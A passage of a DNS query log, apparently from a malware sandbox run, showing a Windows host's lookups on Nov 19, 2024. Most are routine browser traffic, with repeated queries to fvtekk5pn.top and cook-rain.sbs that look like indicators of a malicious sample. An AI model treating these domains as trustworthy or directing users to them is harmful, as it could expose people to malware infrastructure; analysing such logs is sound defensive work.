Nov 19, 2024 22:07:11.459425926 CET	49907	443	192.168.2.4	13.107.246.40

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 19, 2024 22:07:12.533854008 CET	192.168.2.4	1.1.1.1	0xc645	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:12.533962011 CET	192.168.2.4	1.1.1.1	0xd238	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:07:16.831253052 CET	192.168.2.4	1.1.1.1	0x1a35	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:39.796253920 CET	192.168.2.4	1.1.1.1	0xd4f3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:39.796384096 CET	192.168.2.4	1.1.1.1	0xc8cd	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 19, 2024 22:07:43.022860050 CET	192.168.2.4	1.1.1.1	0x8794	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:43.130944014 CET	192.168.2.4	1.1.1.1	0xc08f	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:07:44.531424046 CET	192.168.2.4	1.1.1.1	0x2db1	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:44.531512976 CET	192.168.2.4	1.1.1.1	0xd503	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:07:46.848717928 CET	192.168.2.4	1.1.1.1	0xc85a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:46.848718882 CET	192.168.2.4	1.1.1.1	0x69c4	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:07:47.884381056 CET	192.168.2.4	1.1.1.1	0xad54	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:47.885092974 CET	192.168.2.4	1.1.1.1	0xa355	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:47.977302074 CET	192.168.2.4	1.1.1.1	0x2f6a	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:47.977971077 CET	192.168.2.4	1.1.1.1	0xae2e	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:47.981318951 CET	192.168.2.4	1.1.1.1	0xc85a	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:47.981375933 CET	192.168.2.4	1.1.1.1	0x69c4	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:07:48.069478989 CET	192.168.2.4	1.1.1.1	0x2f0d	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:07:48.069952011 CET	192.168.2.4	1.1.1.1	0x8d64	Standard query (0)	youtube.com	28	IN (0x0001)	false
Nov 19, 2024 22:07:48.570472002 CET	192.168.2.4	1.1.1.1	0x70f6	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:48.570781946 CET	192.168.2.4	1.1.1.1	0x8f11	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.249342918 CET	192.168.2.4	1.1.1.1	0xea0e	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.250614882 CET	192.168.2.4	1.1.1.1	0x230d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.340842962 CET	192.168.2.4	1.1.1.1	0xf900	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.431910992 CET	192.168.2.4	1.1.1.1	0x4d10	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:07:49.453754902 CET	192.168.2.4	1.1.1.1	0xf74f	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.526269913 CET	192.168.2.4	1.1.1.1	0xc641	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.548028946 CET	192.168.2.4	1.1.1.1	0xd248	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.576992035 CET	192.168.2.4	1.1.1.1	0x6cb4	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.629807949 CET	192.168.2.4	1.1.1.1	0xb489	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:49.642402887 CET	192.168.2.4	1.1.1.1	0x7210	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:07:49.668657064 CET	192.168.2.4	1.1.1.1	0xfd66	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:07:49.730166912 CET	192.168.2.4	1.1.1.1	0xfd93	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:07:49.751171112 CET	192.168.2.4	1.1.1.1	0xc8a0	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:52.356894970 CET	192.168.2.4	1.1.1.1	0xbce8	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:52.357037067 CET	192.168.2.4	1.1.1.1	0xa79b	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 19, 2024 22:07:52.775059938 CET	192.168.2.4	1.1.1.1	0xfbc8	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:52.775441885 CET	192.168.2.4	1.1.1.1	0x5a07	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Nov 19, 2024 22:07:53.257802010 CET	192.168.2.4	1.1.1.1	0xa8d9	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:53.353919983 CET	192.168.2.4	1.1.1.1	0x9a83	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:53.446340084 CET	192.168.2.4	1.1.1.1	0xf79	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:53.446341038 CET	192.168.2.4	1.1.1.1	0xd46f	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 19, 2024 22:07:53.448489904 CET	192.168.2.4	1.1.1.1	0x8e89	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:07:55.522945881 CET	192.168.2.4	1.1.1.1	0x6d5e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:07:55.523045063 CET	192.168.2.4	1.1.1.1	0xf6e8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 19, 2024 22:08:09.363713026 CET	192.168.2.4	1.1.1.1	0xfb24	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.464433908 CET	192.168.2.4	1.1.1.1	0x1c0c	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.570362091 CET	192.168.2.4	1.1.1.1	0xc91b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.591232061 CET	192.168.2.4	1.1.1.1	0x8145	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:09.700397015 CET	192.168.2.4	1.1.1.1	0x30a0	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.710083008 CET	192.168.2.4	1.1.1.1	0x43c	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:09.794092894 CET	192.168.2.4	1.1.1.1	0xe1d9	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.859047890 CET	192.168.2.4	1.1.1.1	0xb34e	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:09.889137983 CET	192.168.2.4	1.1.1.1	0xfa71	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:09.959640026 CET	192.168.2.4	1.1.1.1	0x2995	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.053582907 CET	192.168.2.4	1.1.1.1	0xa34b	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Nov 19, 2024 22:08:10.111879110 CET	192.168.2.4	1.1.1.1	0x79a6	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.204963923 CET	192.168.2.4	1.1.1.1	0x2751	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:10.449408054 CET	192.168.2.4	1.1.1.1	0xc5a4	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.450948000 CET	192.168.2.4	1.1.1.1	0xd8f6	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.454085112 CET	192.168.2.4	1.1.1.1	0xbda8	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.541204929 CET	192.168.2.4	1.1.1.1	0x22f2	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.543395042 CET	192.168.2.4	1.1.1.1	0x7251	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.547478914 CET	192.168.2.4	1.1.1.1	0x5ad2	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.635061026 CET	192.168.2.4	1.1.1.1	0xca2	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:10.635596991 CET	192.168.2.4	1.1.1.1	0x342	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:10.637861967 CET	192.168.2.4	1.1.1.1	0xab2a	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 19, 2024 22:08:10.728051901 CET	192.168.2.4	1.1.1.1	0x1961	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.729191065 CET	192.168.2.4	1.1.1.1	0xd180	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.821646929 CET	192.168.2.4	1.1.1.1	0x44c4	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.822630882 CET	192.168.2.4	1.1.1.1	0xc30e	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:10.913361073 CET	192.168.2.4	1.1.1.1	0x1ce9	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:10.914022923 CET	192.168.2.4	1.1.1.1	0x812f	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:15.002561092 CET	192.168.2.4	1.1.1.1	0xcbe3	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:15.095985889 CET	192.168.2.4	1.1.1.1	0x5109	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:16.967856884 CET	192.168.2.4	1.1.1.1	0x98c8	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:16.967969894 CET	192.168.2.4	1.1.1.1	0xb94c	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:08:16.968432903 CET	192.168.2.4	1.1.1.1	0x98c8	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:16.968483925 CET	192.168.2.4	1.1.1.1	0xb94c	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:08:17.289242029 CET	192.168.2.4	1.1.1.1	0x98c8	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.370354891 CET	192.168.2.4	1.1.1.1	0x2089	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.370460987 CET	192.168.2.4	1.1.1.1	0x4380	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:08:17.472069025 CET	192.168.2.4	1.1.1.1	0x2089	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.472343922 CET	192.168.2.4	1.1.1.1	0x2089	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.752499104 CET	192.168.2.4	1.1.1.1	0x9492	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:17.752593994 CET	192.168.2.4	1.1.1.1	0xd7a5	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:08:17.752669096 CET	192.168.2.4	1.1.1.1	0x9492	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.098836899 CET	192.168.2.4	1.1.1.1	0x9492	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.137295961 CET	192.168.2.4	1.1.1.1	0x2a1e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.137420893 CET	192.168.2.4	1.1.1.1	0x2a1e	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.519289970 CET	192.168.2.4	1.1.1.1	0xffd0	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.519412041 CET	192.168.2.4	1.1.1.1	0xab01	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 19, 2024 22:08:18.519412041 CET	192.168.2.4	1.1.1.1	0xffd0	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:18.620017052 CET	192.168.2.4	1.1.1.1	0xffd0	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:32.828279018 CET	192.168.2.4	1.1.1.1	0xf407	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:38.855992079 CET	192.168.2.4	1.1.1.1	0x5898	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:38.860162020 CET	192.168.2.4	1.1.1.1	0x4f30	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:38.860759020 CET	192.168.2.4	1.1.1.1	0xbc3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:38.972095013 CET	192.168.2.4	1.1.1.1	0x35a4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:38.976891994 CET	192.168.2.4	1.1.1.1	0xf8db	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:38.997608900 CET	192.168.2.4	1.1.1.1	0x5898	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:38.997659922 CET	192.168.2.4	1.1.1.1	0xbc3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:38.997692108 CET	192.168.2.4	1.1.1.1	0x4f30	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:39.126924992 CET	192.168.2.4	1.1.1.1	0x35a4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:39.126925945 CET	192.168.2.4	1.1.1.1	0xf8db	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:39.199053049 CET	192.168.2.4	1.1.1.1	0x335	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:39.325634956 CET	192.168.2.4	1.1.1.1	0xf59e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:39.326245070 CET	192.168.2.4	1.1.1.1	0x335	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:39.505455017 CET	192.168.2.4	1.1.1.1	0xf59e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.014252901 CET	192.168.2.4	1.1.1.1	0x5898	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.014252901 CET	192.168.2.4	1.1.1.1	0x4f30	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.014252901 CET	192.168.2.4	1.1.1.1	0xbc3	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:40.137815952 CET	192.168.2.4	1.1.1.1	0xf8db	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:40.137815952 CET	192.168.2.4	1.1.1.1	0x35a4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:40.196181059 CET	192.168.2.4	1.1.1.1	0xb5f8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.207130909 CET	192.168.2.4	1.1.1.1	0xcc0d	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:40.207386017 CET	192.168.2.4	1.1.1.1	0x7816	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:40.301732063 CET	192.168.2.4	1.1.1.1	0x2556	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:40.305089951 CET	192.168.2.4	1.1.1.1	0x9fae	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.383439064 CET	192.168.2.4	1.1.1.1	0x5750	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:40.452446938 CET	192.168.2.4	1.1.1.1	0x18ca	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:42.539360046 CET	192.168.2.4	1.1.1.1	0xade8	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:43.042941093 CET	192.168.2.4	1.1.1.1	0x1fdc	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.043452978 CET	192.168.2.4	1.1.1.1	0x8ca9	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.043761015 CET	192.168.2.4	1.1.1.1	0xaf48	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.138092041 CET	192.168.2.4	1.1.1.1	0x45e9	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 19, 2024 22:08:43.138151884 CET	192.168.2.4	1.1.1.1	0x1272	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:08:43.139194965 CET	192.168.2.4	1.1.1.1	0x5bb2	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:43.234081984 CET	192.168.2.4	1.1.1.1	0x871	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:46.094564915 CET	192.168.2.4	1.1.1.1	0x44d4	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:08:56.782459974 CET	192.168.2.4	1.1.1.1	0x8a2b	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:09:17.391865015 CET	192.168.2.4	1.1.1.1	0x7511	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:09:17.483423948 CET	192.168.2.4	1.1.1.1	0x6e50	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:09:37.792741060 CET	192.168.2.4	1.1.1.1	0xa3ac	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:09:38.003066063 CET	192.168.2.4	1.1.1.1	0x1634	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:02.522155046 CET	192.168.2.4	1.1.1.1	0xd910	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:08.867191076 CET	192.168.2.4	1.1.1.1	0xa7ab	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:08.960467100 CET	192.168.2.4	1.1.1.1	0x562a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:09.204602003 CET	192.168.2.4	1.1.1.1	0x73bb	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.370434046 CET	192.168.2.4	1.1.1.1	0x897e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:09.370636940 CET	192.168.2.4	1.1.1.1	0x1f14	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:09.376568079 CET	192.168.2.4	1.1.1.1	0x2fb5	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.473421097 CET	192.168.2.4	1.1.1.1	0x2a87	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.526715994 CET	192.168.2.4	1.1.1.1	0x3c96	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.528253078 CET	192.168.2.4	1.1.1.1	0x10a0	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.557940960 CET	192.168.2.4	1.1.1.1	0xd9cb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.635934114 CET	192.168.2.4	1.1.1.1	0xecd8	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:09.650103092 CET	192.168.2.4	1.1.1.1	0x7b8f	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:09.746141911 CET	192.168.2.4	1.1.1.1	0x73e5	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:09.840890884 CET	192.168.2.4	1.1.1.1	0xd57a	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:09.841018915 CET	192.168.2.4	1.1.1.1	0x4017	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:22.691073895 CET	192.168.2.4	1.1.1.1	0xde92	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:22.922930002 CET	192.168.2.4	1.1.1.1	0x15b9	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:23.060168028 CET	192.168.2.4	1.1.1.1	0x681	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:23.115681887 CET	192.168.2.4	1.1.1.1	0xcc1f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:23.209748983 CET	192.168.2.4	1.1.1.1	0xb3e6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:23.478116035 CET	192.168.2.4	1.1.1.1	0x76bd	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:23.570302963 CET	192.168.2.4	1.1.1.1	0xf19b	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:23.595690966 CET	192.168.2.4	1.1.1.1	0x466d	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:23.631293058 CET	192.168.2.4	1.1.1.1	0xab2	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:25.489820957 CET	192.168.2.4	1.1.1.1	0xedb7	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:25.581430912 CET	192.168.2.4	1.1.1.1	0x9543	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:26.415467978 CET	192.168.2.4	1.1.1.1	0x109c	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.415467978 CET	192.168.2.4	1.1.1.1	0xb611	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.416085958 CET	192.168.2.4	1.1.1.1	0xb11	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Nov 19, 2024 22:10:26.507117033 CET	192.168.2.4	1.1.1.1	0xccc9	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.508012056 CET	192.168.2.4	1.1.1.1	0xf3a3	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:26.508800030 CET	192.168.2.4	1.1.1.1	0xa312	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.599061966 CET	192.168.2.4	1.1.1.1	0x1c6a	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:26.599513054 CET	192.168.2.4	1.1.1.1	0x2a9d	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:26.600249052 CET	192.168.2.4	1.1.1.1	0xbac5	Standard query (0)	twitter.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:26.691576958 CET	192.168.2.4	1.1.1.1	0x5501	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:28.999650002 CET	192.168.2.4	1.1.1.1	0x460e	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:29.091804981 CET	192.168.2.4	1.1.1.1	0x13e2	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:49.096317053 CET	192.168.2.4	1.1.1.1	0xd218	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:49.305434942 CET	192.168.2.4	1.1.1.1	0x38c1	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Nov 19, 2024 22:10:49.307079077 CET	192.168.2.4	1.1.1.1	0xbcf8	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:49.355983019 CET	192.168.2.4	1.1.1.1	0xd141	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Nov 19, 2024 22:10:49.405495882 CET	192.168.2.4	1.1.1.1	0x812e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Nov 19, 2024 22:10:49.408379078 CET	192.168.2.4	1.1.1.1	0xdaef	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
